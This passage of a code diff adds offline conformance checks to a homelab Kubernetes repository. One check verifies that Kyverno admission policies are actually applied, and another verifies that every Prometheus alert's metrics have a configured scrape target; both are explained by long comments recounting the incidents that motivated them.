+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      Every ClusterPolicy authored under platform/kyverno/ is either referenced by
+      platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
+      exemption that is genuinely not applied — so a policy cannot be authored, tested,
+      green, and absent from the cluster.
+spec:
+  steps:
+    - name: every-authored-policy-is-applied-or-documented-ci-only
+      description: >-
+        Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
+        into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/admission-policies-actually-applied/check.sh

@@ -0,0 +1,120 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — admission-policies-actually-applied
+# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
+#
+# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
+#
+# platform/kyverno/ holds THREE lists, and only one of them applies anything:
+#   1. platform/kyverno/admission/kustomization.yaml  — reference only. Its own sibling says
+#      "kept as reference; THIS file is the buildable render root".
+#   2. platform/kyverno/kustomization.yaml            — that render root: namespace +
+#      HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
+#   3. platform-config/kustomization.yaml             — THE ONE. Kyverno CRs go here because
+#      they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
+#
+# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
+# what the conformance CI trigger may create) was added to (1). Everything went green: the file
+# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
+# `platform` Ready at the new revision — and the policy was never in any applied set. The
+# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
+# which is precisely the state that identity's own RBAC header says must never exist.
+#
+# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
+# DEPLOYED. This check asserts the second thing.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
+# THEN  each one is either referenced by platform-config/kustomization.yaml (so Flux applies
+#       it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
+#       policy that IS applied, so the exemption list cannot rot into a lie either way.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+exec python3 - "$ROOT" <<'PY'
+import sys, subprocess
+from pathlib import Path
+
+ROOT = Path(sys.argv[1])
+FAILURES, CHECKS = [], 0
+
+def check(cond, desc):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(desc)
+
+# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
+# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
+# that silently starts being applied is as much a lie as one that silently stops.
+CI_ONLY = {
+    "disallow-plaintext-secrets":
+        "CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
+        "admission because Flux decrypts before the Secret reaches the API server. Its "
+        "in-cluster counterpart is admission/secret-provenance.yaml.",
+}
+
+tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
+                          "platform/kyverno/*.yaml"],
+                         cwd=ROOT, capture_output=True, text=True, check=True)
+files = [ROOT / p for p in tracked.stdout.split("\0") if p]
+
+# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
+policies = {}
+for f in files:
+    try:
+        txt = f.read_text()
+    except Exception:
+        continue
+    if "kind: ClusterPolicy" not in txt:
+        continue
+    for line in txt.splitlines():
+        st = line.strip()
+        if st.startswith("name:") and "  name:" in line:
+            policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
+            break
+
+check(len(policies) >= 6,
+      f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
+      f"too few means the scan broke, and every assertion below would be vacuous")
+
+applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
+
+unapplied, wrongly_exempt = [], []
+for rel, name in sorted(policies.items()):
+    # platform-config references these as ../platform/kyverno/...
+    referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
+    if name in CI_ONLY:
+        if referenced:
+            wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
+    elif not referenced:
+        unapplied.append(f"{name} ({rel})")
+
+check(not unapplied,
+      f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
+      f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
+
+check(not wrongly_exempt,
+      f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
+      f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
+
+for name, reason in CI_ONLY.items():
+    check(bool(reason.strip()),
+          f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
+          f"list stops being reviewable")
+
+check(CHECKS >= 4,
+      f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
+
+if FAILURES:
+    print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
+          file=sys.stderr)
+    for f in FAILURES:
+        print(f"  - {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
+      f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
+      f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
+      f"not that they are correct — `kyverno test` is what proves correctness.")
+PY

conformance/tests/l0-static/alert-metrics-have-scrape-targets/chainsaw-test.yaml

@@ -0,0 +1,128 @@
+# =============================================================================
+# L0 STATIC — every metric an alert rule queries is CLAIMED by a scrape target this repo configures
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. An alert rule whose metric is never scraped is not a broken alert — it is
+# an ABSENT alert that reads as a present one. `longhorn_volume_robustness == 2` over a TSDB with no
+# longhorn_* series returns no vector, so the rule is permanently quiet, permanently "healthy", and
+# indistinguishable from a correct rule on a healthy cluster. It survives review (the PromQL is
+# right), it survives `promtool test rules` (the unit test supplies the series itself), and it
+# survives every dashboard (nobody looks for a panel that was never built).
+#
+# MEASURED ON PROD, 2026-09-13, before this change — 13 rules across three families were inert:
+#   count(longhorn_volume_robustness)                        => (empty)   4 rules
+#   count({__name__=~"certmanager.*"})                       => (empty)   3 rules
+#   count(hubble_drop_total)                                 => (empty)   1 rule
+#   count by (job) (up)                                      => 20 jobs, none Longhorn/cert-manager/Hubble
+# So storage health was unmonitored on a cluster whose prod-1 had just had a failing SSD
+# (DECISIONS-LOG), TLS expiry was unmonitored with the live `wildcard-home` wildcard 89 days from
+# expiry, and the platform had no policy-drop visibility at all. The Flux family (gotk_*, 5 rules)
+# was the same defect and was fixed separately in a79693d.
+#
+# GIVEN every alerting rule in every PrometheusRule in the repo (platform/**, apps/wave-*),
+# WHEN  each rule's PromQL is parsed for the metric names it selects,
+# THEN  (1) every metric name is CLAIMED by exactly one declared scrape owner, and each owner's
+#           claim is PROVEN AGAINST THE REPO — the file that enables that scrape must still contain
+#           the enabling declaration, so deleting `metrics.serviceMonitor.enabled` from
+#           platform/longhorn/helmrelease.yaml fails this check instead of silently re-inerting four
+#           storage alerts;
+#       (2) an owner's NEGATIVE conditions hold too, where the enablement can be defeated without
+#           being deleted — cert-manager's chart calls `fail` if podmonitor and servicemonitor are
+#           both set, Longhorn's own NetworkPolicies drop the scrape unless
+#           networkpolicy-metrics.yaml is wired, and kube_node_labels does not exist at all unless
+#           kube-state-metrics' metricLabelsAllowlist names the label;
+#       (3) a metric with NO owner FAILS, unless it is declared in KNOWN_UNWIRED_METRICS — a
+#           shrink-only register (hubble_drop_total today, with the CNI-rollout reason recorded);
+#       (4) `up{job="X"}` is audited on its own axis, because `up` always exists and so the metric
+#           check above can never see this failure: where the repo authors a Service and a
+#           ServiceMonitor in the SAME file, the monitor's endpoint port must be a port that Service
+#           actually defines. All 12 apps/* `<app>-down` SLI rules used to fail this (the monitors
+#           named port `metrics`; no app Service defined one) and were registered in
+#           KNOWN_UNWIRED_JOBS with the live proof that their `up{job=...}` series did not exist.
+#           THAT REGISTER IS NOW EMPTY BECAUSE THE TWELVE RULES WERE FIXED, not waived: they read
+#           kube-state-metrics readiness of their own workload object instead (2026-09-13), the dead
+#           ServiceMonitors are gone, and so is this axis' only subject. The monitor side therefore
+#           moved into its own check — tests/l0-static/servicemonitor-ports-resolve — which needs no
+#           alert rule to reach a monitor, resolves by selector across the whole tree instead of by
+#           same-file adjacency, and proves its resolver on fixtures so it cannot pass merely for
+#           lack of subjects;
+#   AND (5) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope: whole-repo`,
+#           so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into EVERY gate
+#           invocation, and ci/gate.sh blocks the merge when the l0 stage fails.
+#
+# WHY BOTH REGISTERS ARE RATCHETS AND NOT BLANKET FAILURES: the same reasoning as
+# alert-rules-unit-tested. Failing outright on the 12 app SLI rules would have made the gate red
+# until exporters existed for Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr and friends
+# — none of which speak Prometheus natively — so the gate would have been disabled, and a disabled
+# gate protects nothing. Merely printing the gap is how these 13 rules stayed inert for three phases.
+# (The ratchet did its job: the twelve were closed a day later without an exporter, by reading a
+# signal that already existed. The register is empty now, and that is the outcome it was for.)
+# So each gap is DECLARED, counted on every run, and CANNOT GROW: a new alert on an unclaimed
+# metric FAILS, a new Service+ServiceMonitor pair with a mismatched port FAILS, and a STALE
+# register entry (the gap was closed, or the alert deleted) FAILS too, so neither register can rot
+# into fiction.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, the same dependency as
+# catalog/render.py and dev-nodes-provisioned-as-code); conformance/run.sh --layer l0 and ci/l0.sh
+# run it directly, and this Chainsaw Test wraps the SAME script.
+#
+# NOT proven (all named in check.sh's header, which carries the full list). The one worth stating
+# here because it bit this very repo: an owner claims metrics by PREFIX, so this proves the SCRAPE
+# TARGET exists, never that the exporter emits that exact SERIES NAME.
+# `kubevirt_vmi_phase_count{phase="Failed"}` sat inside the scraped kubevirt_ family on an UP target
+# and did not exist at all on the deployed KubeVirt (corrected here to
+# `kubevirt_vmi_info{phase="failed"}`, lowercase — a capital-F matcher is equally inert). Catching
+# that needs the exporter's own metric list, i.e. a live read; it belongs to a future L1/L3 check
+# that diffs alert metrics against /api/v1/label/__name__/values.
+#
+# Also not proven: that a target is UP. This is static — it asserts the
+# enabling declaration is in git, never that the endpoint answers, that the chart still honours the
+# value key, or that a NetworkPolicy is sufficient. Those were established by live prod reads
+# recorded in the commit message (longhorn_volume_robustness 44 series, certmanager_* 104 series,
+# all six new targets up==1). It also cannot check a monitor whose Service comes from a Helm chart
+# rather than from this repo — the port name lives outside the tree — which is why (4) is scoped to
+# same-file Service+ServiceMonitor pairs. And it does not judge thresholds or reachability-to-human
+# (R-OBS-02 / the L3 alerting test).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: alert-metrics-have-scrape-targets
+  labels:
+    conformance.home.k3s/R-OBS-04: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-OBS-04"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — this invariant quantifies over every PrometheusRule in the tree AND over
+    # every scrape-enabling declaration that feeds them, which live in eight different components
+    # (platform/monitoring, platform/longhorn, platform/cert-manager, platform/velero,
+    # platform/kubevirt, platform/keycloak, platform/cnpg, apps/wave-*). No single requirement
+    # path-maps to that set.
+    #
+    # WHY IT MUST NOT BE REQUIREMENT-SCOPED: ci/touched-requirements.sh maps apps/* to NOTHING and
+    # platform/monitoring/* to R-OBS-01/R-OBS-02 — not R-OBS-04. A change that adds an alert under
+    # apps/ or platform/kubevirt/, or one that flips a chart's `serviceMonitor.enabled` back to
+    # false under platform/longhorn/, therefore attributes a requirement set that would FILTER THIS
+    # CHECK OUT of exactly the change that re-inerts the alerts. Declaring the scope makes
+    # ci/l0.sh Stage 3b union it into every run instead, and makes an honest SKIP loud (rc 3 =
+    # UNWIRED, never green) rather than silently green.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      Every metric name queried by every alert rule is claimed by a scrape target whose enabling
+      declaration is still present in this repo, every `up{job=...}` selector names a job a repo
+      monitor can actually produce, and the two gaps that remain are enumerated in registers that
+      can only shrink — so an alert can never again be authored, reviewed and merged against a
+      metric nothing scrapes.
+spec:
+  steps:
+    - name: audit-every-alert-metric-against-the-configured-scrape-targets
+      description: >-
+        Parse every metric name out of every alerting rule, resolve each against the declared
+        scrape-owner table, prove each owner's enabling declaration (and its negative conditions)
+        still hold in git, audit `up{job=...}` against same-file Service/ServiceMonitor port
+        agreement, and ratchet both registers of declared gaps.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh

@@ -0,0 +1,764 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — alert-metrics-have-scrape-targets
+# Serves: R-OBS-04 ("The platform alerts on its own health (nodes, storage, GitOps, certs,
+#         VPN)." — spec docs/10-observability-and-alerting.md)
+#
+# WHY THIS EXISTS — AN ALERT ON AN UNSCRAPED METRIC IS AN ABSENT ALERT THAT READS AS A PRESENT ONE
+# -----------------------------------------------------------------------------------------------
+# `longhorn_volume_robustness == 2` evaluated against a TSDB that holds no longhorn_* series
+# returns no vector. The rule is therefore permanently quiet, permanently "healthy", and
+# INDISTINGUISHABLE from a correct rule on a healthy cluster. It passes review (the PromQL is
+# right). It passes `promtool test rules` (the unit test supplies the series itself, so a unit
+# test proves nothing about whether anything scrapes them). It shows up on no dashboard, because
+# nobody looks for a panel that was never built.
+#
+# Measured on prod 2026-09-13, BEFORE the change that added this check — 13 rules were inert:
+#   count(longhorn_volume_robustness)            => (empty)    LonghornVolumeDegraded/Faulted/
+#                                                              CapacityHigh, LonghornNodeStorageHigh
+#   count({__name__=~"certmanager.*"})           => (empty)    CertificateExpiringSoon/
+#                                                              ExpiryImminent/NotReady
+#   count(hubble_drop_total)                     => (empty)    HubbleDeniedFlowSpike
+#   count by (job) (up)                          => 20 jobs, none Longhorn, cert-manager or Hubble
+# Storage health was unmonitored on the cluster whose prod-1 had just had a failing SSD; TLS
+# expiry was unmonitored with the live `wildcard-home` wildcard 89 days out; there was no
+# policy-drop visibility at all. The gotk_* family (5 more rules) was the same defect, fixed
+# separately in a79693d.
+#
+# WHAT MAKES THIS CLASS DIFFERENT from the two failure modes alert-rules-unit-tested catches: a
+# permanently-firing rule is loud, and a rule that behaves wrongly against synthetic series is
+# caught by promtool. This one is caught by NEITHER, because the missing thing is not in the rule
+# file at all — it is a `serviceMonitor.enabled` that was never set in a completely different
+# component's HelmRelease. So the audit has to cross from the alert to the scrape config, which is
+# what the owner table below does.
+#
+# GIVEN every alerting rule in every PrometheusRule in the repo,
+# WHEN  each rule's PromQL is parsed for the metric names it selects,
+# THEN  (1) every metric name is CLAIMED by exactly one declared owner in SCRAPE_OWNERS, and the
+#           owner's `require` regexes still match its file — so deleting the enablement from
+#           platform/longhorn/helmrelease.yaml FAILS here instead of silently re-inerting four
+#           storage alerts;
+#       (2) each owner's `forbid` regexes do NOT match, for the cases where the enablement can be
+#           defeated without being deleted (cert-manager's chart `fail`s if podmonitor and
+#           servicemonitor are both enabled; an `enabled: false` inside the exporter's own block);
+#       (3) a metric with no owner FAILS unless declared in KNOWN_UNWIRED_METRICS (shrink-only);
+#       (4) `up{job="X"}` is audited separately — `up` itself always exists, so (1) is blind to
+#           this — by requiring that where this repo authors a Service and a ServiceMonitor in the
+#           SAME file, the monitor's endpoint port is a port that Service actually defines;
+#           violations must be declared in KNOWN_UNWIRED_JOBS (shrink-only);
+#   AND (5) the check is LOAD-BEARING: this test declares `conformance.home.k3s/scope: whole-repo`
+#           so ci/l0.sh unions it into every gate run, and ci/gate.sh blocks on an l0 failure.
+#
+# WHY THE REGISTERS ARE RATCHETS (the decision and its reasons) — the same three options as
+# alert-rules-unit-tested faced:
+#   * FAIL outright on all 13: correct in principle, but 12 of them are app SLI rules that need
+#     Prometheus exporters for Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr and Seerr —
+#     none of which speak Prometheus natively. The gate would be red for every change until that
+#     work lands, so it would get disabled, and a disabled gate protects nothing.
+#   * merely REPORT: that is precisely how these rules stayed inert across phases 4-6.
+#   * RATCHET (chosen): each gap is declared here, printed with counts on every run, and CANNOT
+#     GROW. A new alert on an unclaimed metric FAILS. A new same-file Service+ServiceMonitor pair
+#     with a mismatched port FAILS. A STALE entry — the gap was closed, or the alert deleted —
+#     also FAILS, so neither register can rot into fiction.
+#
+# WHAT THIS DOES *NOT* PROVE (honest gaps — this is a STATIC check):
+#   - It does not prove a target is UP, that an endpoint answers, that the chart still honours the
+#     values key, or that a NetworkPolicy is sufficient. Those were established by live prod reads
+#     recorded in the commit message: with the enablements applied, longhorn_volume_robustness
+#     returned 44 series, {__name__=~"certmanager.*"} returned 104, and all six new targets read
+#     up==1. A live probe needs a cluster, which L0 by definition does not have.
+#   - It cannot audit a ServiceMonitor whose Service is created by a Helm chart rather than by this
+#     repo: the port name lives outside the tree. That is why (4) is scoped to same-file
+#     Service+ServiceMonitor pairs — the apps/* ServiceDefinition pattern — and why the
+#     platform/* monitors (oauth2-proxy, kubevirt, keycloak, flux) are out of its reach. Their
+#     liveness is covered by the fact that their metrics have owners under (1).
+#   - IT PROVES THE SCRAPE TARGET, NOT THE SERIES NAME. An owner claims a metric by PREFIX, so a
+#     metric in a scraped family whose exact name the exporter does not emit still passes. This is
+#     a real residual hole and it was live in this repo: `kubevirt_vmi_phase_count{phase="Failed"}`
+#     (KubeVirtVMLaunchFailing) sat inside the scraped `kubevirt_` family on an UP target, and the
+#     series simply does not exist on the deployed KubeVirt — verified on prod 2026-09-13, where the
+#     only kubevirt_vmi_* names are `info` and `number_of_outdated`, and the only phase-bearing
+#     names are the phase_transition_time histograms. Corrected in the same change to
+#     `kubevirt_vmi_info{phase="failed"}` (note the LOWERCASE value KubeVirt writes: a capital-F
+#     matcher selects nothing and is just as inert). Catching that class needs the exporter's own
+#     metric list, which is a live read, not a static one — it belongs to a future L1/L3 check that
+#     diffs every alert metric against `/api/v1/label/__name__/values`. The same limit applies to
+#     every LABEL VALUE an alert matches on.
+#   - The metric-name parser is a PromQL approximation, not a parser: it strips string literals,
+#     label-matcher bodies and aggregation label lists, then treats remaining bare identifiers as
+#     metric selectors. A metric referenced ONLY through a `{__name__=~"..."}` regex selector would
+#     be missed. No rule in this repo does that, and assertion (0) fails if the parser stops
+#     finding metrics at all.
+#   - It does not judge thresholds, and does not prove an alert reaches a human (R-OBS-02 and the
+#     L3 alerting test own that).
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, and because this test
+# declares the whole-repo scope the runner turns it into rc 3 = UNWIRED, never green) only if the
+# repo contains no PrometheusRule at all — i.e. there is genuinely nothing to audit.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if there is nothing to audit at all.
+if ! grep -rl 'kind: PrometheusRule' "${ROOT}/platform" "${ROOT}/apps" >/dev/null 2>&1; then
+  echo "check SKIPPED: no PrometheusRule found under platform/ or apps/ — no alert rules to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: every alert rule's metrics are claimed by a scrape target this repo configures.
+
+PyYAML is used deliberately rather than the line-based parsing the neighbouring checks favour:
+alert `expr:` values are multi-line block scalars, and a line-based reader of PromQL would be the
+kind of approximate parser that silently stops matching — the exact failure class this check
+exists to prevent. Same dependency as catalog/render.py and dev-nodes-provisioned-as-code.
+"""
+from __future__ import annotations
+
+import re
+import sys
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+# =============================================================================================
+# THE DECLARED SCRAPE-OWNER TABLE (assertions 1 and 2).
+#
+# Each entry claims a set of metric names (exact names and/or prefixes) and names the file whose
+# declaration is what makes those metrics exist in the TSDB, plus the regexes that prove it. This
+# is the crossing from "an alert queries X" to "something in this repo scrapes X", and it is the
+# part that makes the check a REGRESSION guard rather than a one-time audit: every `require`
+# regex is re-evaluated against the working tree on every gate run.
+#
+# `require`  — ALL must match the file. The enablement itself.
+# `forbid`   — NONE may match. For enablements that can be defeated without being deleted.
+#
+# Longest prefix wins, so kube_velero_schedule_ is resolved before kube_.
+# =============================================================================================
+KPS = "platform/monitoring/kube-prometheus-stack.yaml"
+
+SCRAPE_OWNERS: list[dict] = [
+    {
+        "owner": "kube-prometheus-stack: bundled node-exporter DaemonSet + its ServiceMonitor",
+        "prefixes": ("node_",),
+        "file": KPS,
+        # The subchart block must be present and configured here (it is where the exporter's
+        # resources live). The chart default is enabled:true, so the regression to guard is a
+        # DISABLE, not a missing enable.
+        "require": [r"^\s*prometheus-node-exporter:\s*$"],
+        "forbid": [r"prometheus-node-exporter:\s*\n(?:\s*#[^\n]*\n)*\s*enabled:\s*false"],
+        "why": "node_* powers all seven platform-health.nodes rules including the two IO-pressure "
+               "rules that exist because of prod-1's etcd WAL starvation",
+    },
+    {
+        "owner": "kube-prometheus-stack: the kubelet ServiceMonitor (cAdvisor + volume stats)",
+        # container_* is cAdvisor, which the kubelet ServiceMonitor scrapes on the SAME target as
+        # kubelet_* via its /metrics/cadvisor path (this entry's title always said so; the prefix
+        # was added 2026-09-14 when ContainerIOStallHigh became the first rule to query it).
+        # Verified on prod: container_pressure_io_stalled_seconds_total, 405 series across the
+        # three nodes, job="kubelet", metrics_path="/metrics/cadvisor".
+        "prefixes": ("kubelet_", "container_"),
+        "file": KPS,
+        # Chart default kubelet.enabled:true. There is no explicit enable to require, so the only
+        # honest assertion is that it has not been turned off the way kubeProxy/kubeEtcd were.
+        "require": [r"kubeProxy:"],   # sentinel: the exporter-toggle block is still authored here
+        "forbid": [r"\n\s*kubelet:\s*\n(?:\s*#[^\n]*\n)*\s*enabled:\s*false"],
+        "why": "kubelet_volume_stats_* powers MonitoringVolumeFillingUp and all three "
+               "pvc-capacity-alerts rules; container_pressure_io_stalled_seconds_total is the "
+               "only signal on this cluster that can name WHICH workload an I/O stall is hitting",
+    },
+    {
+        "owner": "kube-prometheus-stack: the kube-apiserver ServiceMonitor (chart default, NOT "
+                 "disabled the way kubeEtcd/kubeProxy are)",
+        # DELIBERATELY EXACT NAMES, NOT AN `etcd_` PREFIX. On this cluster the only etcd-shaped
+        # metrics that exist are the APISERVER'S CLIENT-SIDE view of its own local member. etcd's
+        # server-side disk metrics (etcd_disk_wal_fsync_duration_seconds,
+        # etcd_disk_backend_commit_duration_seconds) are NOT scraped — kubeEtcd.enabled:false for
+        # k3s' embedded etcd — and verified absent on prod 2026-09-14: a query for
+        # {__name__=~"etcd_disk_.*|etcd_server_.*|etcd_mvcc_.*"} returns nothing at all. A blanket
+        # `etcd_` claim would let a future rule on those names pass this check while being inert,
+        # which is precisely the hole this test exists to close. Widen only with a real scrape.
+        "exact": (
+            "etcd_request_duration_seconds_bucket",
+            "etcd_request_duration_seconds_count",
+        ),
+        "file": KPS,
+        "require": [r"kubeProxy:"],   # sentinel: the exporter-toggle block is still authored here
+        "forbid": [r"\n\s*kubeApiServer:\s*\n(?:\s*#[^\n]*\n)*\s*enabled:\s*false"],
+        "why": "etcd_request_duration_seconds_* is the ONLY per-node view of the etcd storage path "
+               "this cluster has, and NodeEtcdRequestsSlow is the only alert that can see the "
+               "condition that took k3s-prod-1 NotReady on 2026-09-07 before the node drops",
+    },
+    {
+        "owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Velero Schedules",
+        "prefixes": ("kube_velero_schedule_",),
+        "file": KPS,
+        "require": [
+            r"customResourceState:\s*\n\s*enabled:\s*true",
+            r"metricNamePrefix:\s*kube_velero_schedule",
+            # The RBAC is MANDATORY, not cosmetic: without velero.io read access KSM emits the
+            # custom-resource-state metrics as an EMPTY SET and logs a forbidden error — silent,
+            # and the inert-alert failure mode all over again (measured; see the block's header).
+            r'apiGroups:\s*\["velero\.io"\]',
+            r'resources:\s*\["schedules"\]',
+        ],
+        "forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
+        "why": "kube_velero_schedule_* is the only thing that can see a Schedule that has NEVER "
+               "backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
+               "Velero itself publishes nothing until a backup is attempted",
+    },
+    {
+        "owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Flux revisions",
+        "prefixes": ("kube_flux_",),
+        "file": KPS,
+        "require": [
+            r"customResourceState:\s*\n\s*enabled:\s*true",
+            r"metricNamePrefix:\s*kube_flux_kustomization",
+            r"metricNamePrefix:\s*kube_flux_gitrepository",
+            # The RBAC is MANDATORY, not cosmetic — the same measured failure mode as velero.io
+            # above: without read access to these two API groups KSM publishes the
+            # custom-resource-state metrics as an EMPTY SET and logs a forbidden error, which would
+            # leave FluxRolloutInProgress/FluxRolloutStuck inert while looking configured.
+            r'apiGroups:\s*\["kustomize\.toolkit\.fluxcd\.io"\]',
+            r'apiGroups:\s*\["source\.toolkit\.fluxcd\.io"\]',
+            # A config-only edit does not restart KSM (the chart sets no checksum annotation over
+            # the ConfigMap), so the pod annotation that forces the roll is part of the claim: drop
+            # it and a future change to the flux collector set ships green and never takes effect.
+            r"homelab\.keithjackson\.dev/crs-config-rollout",
+        ],
+        "forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
+        "why": "kube_flux_* is the ONLY revision-carrying signal in the TSDB — gotk_* has no "
+               "revision label anywhere (measured 2026-09-29) and the Flux event stream emits "
+               "ReconciliationSucceeded on every interval tick whether or not anything changed, so "
+               "without these metrics nothing can tell a deploy starting from an idle cluster",
+    },
+    {
+        "owner": "kube-prometheus-stack: bundled kube-state-metrics",
+        "prefixes": ("kube_",),
+        "file": KPS,
+        "require": [r"^\s*kube-state-metrics:\s*$"],
+        "forbid": [r"kube-state-metrics:\s*\n(?:\s*#[^\n]*\n)*\s*enabled:\s*false"],
+        # kube_node_labels is a SPECIAL CASE and is checked on its own below: KSM exposes no
+        # custom node labels by default, so the metric does not exist unless metricLabelsAllowlist
+        # names the label. The prefix claim alone would pass while VPNTunnelDown's join matched
+        # nothing.
+        "why": "kube_* powers the Keycloak, KubeVirt-crashloop, CNPG-colocation and Velero-schedule "
+               "rules",
+    },
+    {
+        "owner": "kube-state-metrics metricLabelsAllowlist (the egress-gateway node label)",
+        "exact": ("kube_node_labels",),
+        "file": KPS,
+        "require": [
+            r"metricLabelsAllowlist:",
+              # The label must be IN the allowlist, not BE the whole allowlist. This pattern used to
+              # end in a literal `]`, asserting the list held exactly this one label — so adding a
+              # second one (`egress-uplink`, for the steering-staleness alerts) made this check FAIL
+              # while the property it guards stayed perfectly satisfied. A guard that breaks when you
+              # correctly extend the thing it guards teaches people to edit the guard, which is how it
+              # stops guarding. `[,\\]]` accepts either the end of the list or a further entry.
+              r"nodes=\[homelab\.keithjackson\.dev/egress-gateway[,\]]",
+        ],
+        "forbid": [],
+        "why": "KSM exposes NO custom labels by default. Without the allowlist entry "
+               "kube_node_labels carries no egress-gateway label and VPNTunnelDown's join silently "
+               "matches nothing — a rule that is present, evaluating, and structurally inert",
+    },
+    {
+        "owner": "CNPG: enablePodMonitor on the Cluster CRs (the operator renders one PodMonitor each)",
+        "prefixes": ("cnpg_",),
+        "file": "platform/keycloak/postgres-cluster.yaml",
+        "require": [r"^\s*enablePodMonitor:\s*true\s*$"],
+        "forbid": [],
+        "why": "cnpg_* powers all six platform-health.cnpg rules, including the WAL-archive backlog "
+               "and no-recoverability-point rules that guard R-STATE-03",
+    },
+    {
+        "owner": "Flux controllers: platform/monitoring/flux-podmonitor.yaml (merged a79693d)",
+        "prefixes": ("gotk_",),
+        "file": "platform/monitoring/flux-podmonitor.yaml",
+        "require": [r"kind:\s*PodMonitor", r"port:\s*http-prom"],
+        "forbid": [],
+        "why": "gotk_* powers FluxReconciliationFailure, FluxResourceSuspended and the three "
+               "automated-update rules — on a platform whose entire delivery model is Flux",
+    },
+    {
+        "owner": "cert-manager: prometheus.servicemonitor.enabled in the HelmRelease",
+        "prefixes": ("certmanager_",),
+        "file": "platform/cert-manager/helmrelease.yaml",
+        "require": [r"prometheus:\s*\n\s*servicemonitor:\s*\n\s*enabled:\s*true"],
+        # The chart calls `fail` when both monitor kinds are enabled, which would break the whole
+        # HelmRelease rather than just the scrape. Measured against v1.21.2.
